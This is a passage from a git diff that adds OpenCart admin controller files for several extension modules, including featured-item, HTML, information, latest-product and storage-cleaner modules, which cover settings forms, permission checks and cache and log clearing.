+ if (!$this->user->hasPermission('modify', 'extension/module/featured')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/module/featured_article.php b/public/admin/controller/extension/module/featured_article.php
new file mode 100644
index 0000000..931762e
--- /dev/null
+++ b/public/admin/controller/extension/module/featured_article.php
@@ -0,0 +1,155 @@
+load->language('extension/module/featured_article');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('featured_article', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured_article', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured_article', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/featured_article', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/featured_article', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('extension/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/featured_article', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/featured_article')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/featured_product.php b/public/admin/controller/extension/module/featured_product.php
new file mode 100644
index 0000000..73e16b8
--- /dev/null
+++ b/public/admin/controller/extension/module/featured_product.php
@@ -0,0 +1,155 @@
+load->language('extension/module/featured_product');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('featured_product', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured_product', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/featured_product', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/featured_product', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/featured_product', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/featured_product', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/featured_product')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/filter.php b/public/admin/controller/extension/module/filter.php
new file mode 100644
index 0000000..0b0170a
--- /dev/null
+++ b/public/admin/controller/extension/module/filter.php
@@ -0,0 +1,67 @@
+load->language('extension/module/filter');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_filter', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/filter', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/filter', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_filter_status'])) {
+ $data['module_filter_status'] = $this->request->post['module_filter_status'];
+ } else {
+ $data['module_filter_status'] = $this->config->get('module_filter_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/filter', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/filter')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/html.php b/public/admin/controller/extension/module/html.php
new file mode 100644
index 0000000..f34cace
--- /dev/null
+++ b/public/admin/controller/extension/module/html.php
@@ -0,0 +1,118 @@
+load->language('extension/module/html');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('html', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/html', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/html', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/html', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/html', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['module_description'])) {
+ $data['module_description'] = $this->request->post['module_description'];
+ } elseif (!empty($module_info)) {
+ $data['module_description'] = $module_info['module_description'];
+ } else {
+ $data['module_description'] = array();
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/html', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/html')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/information.php b/public/admin/controller/extension/module/information.php
new file mode 100644
index 0000000..107aa3f
--- /dev/null
+++ b/public/admin/controller/extension/module/information.php
@@ -0,0 +1,67 @@
+load->language('extension/module/information');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_information', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/information', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/information', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_information_status'])) {
+ $data['module_information_status'] = $this->request->post['module_information_status'];
+ } else {
+ $data['module_information_status'] = $this->config->get('module_information_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/information', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/information')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/latest.php b/public/admin/controller/extension/module/latest.php
new file mode 100644
index 0000000..f01f34e
--- /dev/null
+++ b/public/admin/controller/extension/module/latest.php
@@ -0,0 +1,152 @@
+load->language('extension/module/latest');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('latest', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->cache->delete('product');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/latest', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/latest', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/latest', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/latest', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['limit'])) {
+ $data['limit'] = $this->request->post['limit'];
+ } elseif (!empty($module_info)) {
+ $data['limit'] = $module_info['limit'];
+ } else {
+ $data['limit'] = 5;
+ }
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = 200;
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = 200;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/latest', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/latest')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/oc3x_storage_cleaner.php b/public/admin/controller/extension/module/oc3x_storage_cleaner.php
new file mode 100644
index 0000000..924b3c2
--- /dev/null
+++ b/public/admin/controller/extension/module/oc3x_storage_cleaner.php
@@ -0,0 +1,537 @@
+load->language('extension/module/oc3x_storage_cleaner');
+
+ $this->document->setTitle($this->language->get('page_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('oc3x_storage_cleaner', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+ $data['tab_settings'] = $this->language->get('tab_settings');
+ $data['tab_help'] = $this->language->get('tab_help');
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_documentation'] = $this->language->get('text_documentation');
+ $data['text_developer'] = $this->language->get('text_developer');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+ $data['entry_status'] = $this->language->get('entry_status');
+ $data['entry_size'] = $this->language->get('entry_size');
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('page_title'),
+ 'href' => $this->url->link('extension/module/oc3x_storage_cleaner', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/oc3x_storage_cleaner', 'user_token=' . $this->session->data['user_token'], true);
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'], true);
+
+ if (isset($this->request->post['oc3x_storage_cleaner_status'])) {
+ $data['oc3x_storage_cleaner_status'] = $this->request->post['oc3x_storage_cleaner_status'];
+ } else {
+ $data['oc3x_storage_cleaner_status'] = $this->config->get('oc3x_storage_cleaner_status');
+ }
+
+ if (isset($this->request->post['oc3x_storage_cleaner_size'])) {
+ $data['oc3x_storage_cleaner_size'] = $this->request->post['oc3x_storage_cleaner_size'];
+ } else {
+ $data['oc3x_storage_cleaner_size'] = $this->config->get('oc3x_storage_cleaner_size');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/oc3x_storage_cleaner', $data));
+ }
+
+ public function clearCache() {
+ $this->load->language('extension/module/oc3x_storage_cleaner');
+
+ $json = array();
+
+ if (!$this->validateWidget() || empty($this->request->post['key'])) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $key = $this->request->post['key'];
+
+ if ($key == 'system') {
+ $dir = DIR_CACHE;
+ } elseif ($key == 'modification') {
+ // Just before files are deleted, if config settings say maintenance mode is off then turn it on
+ $this->maintenance = $this->config->get('config_maintenance');
+
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSettingValue('config', 'config_maintenance', true);
+
+ $dir = DIR_MODIFICATION;
+ } elseif ($key == 'image') {
+ $dir = DIR_IMAGE . 'cache/';
+ } else {
+ $dir = false;
+ }
+
+ if ($dir) {
+ $files = array();
+
+ // Make path into an array
+ $path = array($dir . '*');
+
+ // While the path array is still populated keep looping through
+ while (count($path) != 0) {
+ $next = array_shift($path);
+
+ foreach (glob($next) as $file) {
+ // If directory add to path array
+ if (is_dir($file)) {
+ $path[] = $file . '/*';
+ }
+
+ // Add the file to the files to be deleted array
+ $files[] = $file;
+ }
+ }
+
+ // Reverse sort the file array
+ rsort($files);
+
+ // Clear all files
+ foreach ($files as $file) {
+ if ($file != $dir . 'index.html' && $file != $dir . '.htaccess') {
+ // If file just delete
+ if (is_file($file)) {
+ unlink($file);
+
+ // If directory use the remove directory function
+ } elseif (is_dir($file)) {
+ rmdir($file);
+ }
+ }
+ }
+
+ if ($key == 'modification') {
+ $this->refreshModification();
+ }
+
+ $this->load->model('extension/module/oc3x_storage_cleaner');
+
+ if ($this->config->get('oc3x_storage_cleaner_size')) {
+ $json['size'] = $this->model_extension_module_oc3x_storage_cleaner->getSize();
+ }
+
+ $json['success'] = $this->language->get('text_success_clear');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function clearLog() {
+ $this->load->language('extension/module/oc3x_storage_cleaner');
+
+ $json = array();
+
+ if (!$this->validateWidget() || empty($this->request->post['key'])) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $key = $this->request->post['key'];
+
+ if ($key == 'error') {
+ $file = DIR_LOGS . $this->config->get('config_error_filename');
+ } elseif ($key == 'modification') {
+ $file = DIR_LOGS . 'ocmod.log';
+ } else {
+ $file = false;
+ }
+
+ if ($file) {
+ $handle = fopen($file, 'w+');
+
+ fclose($handle);
+
+ $this->load->model('extension/module/oc3x_storage_cleaner');
+
+ if ($this->config->get('oc3x_storage_cleaner_size')) {
+ $json['size'] = $this->model_extension_module_oc3x_storage_cleaner->getSize();
+ }
+
+ $json['success'] = $this->language->get('text_success_clear');
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ protected function refreshModification() {
+ $this->load->model('setting/modification');
+ $this->load->model('setting/setting');
+
+ //Log
+ $log = array();
+
+ // Begin
+ $xml = array();
+
+ // Load the default modification XML
+ $xml[] = file_get_contents(DIR_SYSTEM . 'modification.xml');
+
+ // This is purly for developers so they can run mods directly and have them run without upload sfter each change.
+ $files = glob(DIR_SYSTEM . '*.ocmod.xml');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $xml[] = file_get_contents($file);
+ }
+ }
+
+ // Get the default modification file
+ $results = $this->model_setting_modification->getModifications();
+
+ foreach ($results as $result) {
+ if ($result['status']) {
+ $xml[] = $result['xml'];
+ }
+ }
+
+ $modification = array();
+
+ foreach ($xml as $xml) {
+ if (empty($xml)){
+ continue;
+ }
+
+ $dom = new DOMDocument('1.0', 'UTF-8');
+ $dom->preserveWhiteSpace = false;
+ $dom->loadXml($xml);
+
+ // Log
+ $log[] = 'MOD: ' . $dom->getElementsByTagName('name')->item(0)->textContent;
+
+ // Wipe the past modification store in the backup array
+ $recovery = array();
+
+ // Set the a recovery of the modification code in case we need to use it if an abort attribute is used.
+ if (isset($modification)) {
+ $recovery = $modification;
+ }
+
+ $files = $dom->getElementsByTagName('modification')->item(0)->getElementsByTagName('file');
+
+ foreach ($files as $file) {
+ $operations = $file->getElementsByTagName('operation');
+
+ $files = explode('|', $file->getAttribute('path'));
+
+ foreach ($files as $file) {
+ $path = '';
+
+ // Get the full path of the files that are going to be used for modification
+ if ((substr($file, 0, 7) == 'catalog')) {
+ $path = DIR_CATALOG . substr($file, 8);
+ }
+
